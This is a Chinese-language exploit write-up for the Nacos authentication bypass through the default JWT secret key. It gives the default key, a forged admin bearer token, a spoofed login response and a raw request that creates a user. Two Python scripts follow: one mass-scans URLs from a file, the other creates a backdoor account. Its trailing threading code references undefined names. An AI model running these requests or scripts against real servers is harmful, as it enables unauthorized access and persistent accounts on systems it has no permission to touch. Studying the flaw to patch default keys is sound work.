漏洞复现 – Nacos 身份认证绕过

Nacos 身份认证绕过

由于 secret.key 值为默认

### The default token(Base64 String):
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

### 2.1.0 版本后
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

可使用 https://jwt.io/#debugger-io 生成可用的 token

如果需要登录至 nacos，输入任意账密进行抓包

把回显包替换为下面这个

HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json; charset=utf-8
Date: Tue, 14 Mar 2023 16:34:47 GMT
Content-Length: 206

{
 "accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
 "tokenTtl": 18000,
 "globalAdmin": false,
 "username": "nacos"
}

直接登录进去

直接添加用户

POST /nacos/v1/auth/users HTTP/1.1
Host:
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=test&password=test

批量验证

import requests
import urllib3
urllib3.disable_warnings()

# 定义自定义路径和Header
custom_path = '/nacos/v1/auth/users?pageNo=1&pageSize=2'
proxies = {'http': 'http://127.0.0.1:8080'}
header = {
    "User-Agent": "Nacos-Server",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Pragma": "no-cache",
    "Te": "trailers",
    "Cache-Control": "no-cache",
}
# 从url.txt文件中读取URL列表
with open('url.txt', 'r') as f:
    urls = f.read().splitlines()

# 循环发送GET请求并判断回显结果
for url in urls:
    full_url = url + custom_path  # 拼接完整URL
    try:
        response = requests.get(full_url,proxies=proxies, headers=header,verify=False,timeout=2)
        if response.status_code == 200 and response.content.find(b"pageNumber") != -1:
            print(f'{url} 存在nacos身份验证绕过漏洞')
        else:
            print(f'{url} 不存在nacos身份验证绕过漏洞')
    except requests.exceptions.RequestException as e:
        print(f'{url} 访问失败 {e}')

脚本化添加用户

import sys
import requests
from termcolor import colored
import urllib3
urllib3.disable_warnings()

proxies = {'http': 'http://127.0.0.1:8080'}
# 获取命令行参数中的 URL
if len(sys.argv) < 2:
    print("Usage: python test.py <url>")
    sys.exit(1)
url = sys.argv[1]

post_url = "/nacos/v1/auth/users"
request_url = url + post_url

headers = {
    "User-Agent": "Nacos-Server",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Pragma": "no-cache",
    "Cache-Control": "no-cache",
}
data = {
    "username": "test123",
    "password": "test123",
}

response = requests.post(request_url, headers=headers, data=data, proxies=proxies,verify=False)

if response.status_code == 200 and response.content.find(b"ok") != -1:
    print(colored('[*] ' + url + ' 存在nacos身份认证绕过漏洞！ ', 'green'))
    print(colored('已创建用户test123/test123', 'green'))
else:
    print(colored('[-] ' + url + ' 不存在nacos身份认证绕过漏洞！ n', 'red'))

threads = []
for url in urls:
    t = threading.Thread(target=send_request, args=(url,))
    threads.append(t)
    t.start()

# 等待所有线程完成
for t in threads:
    t.join()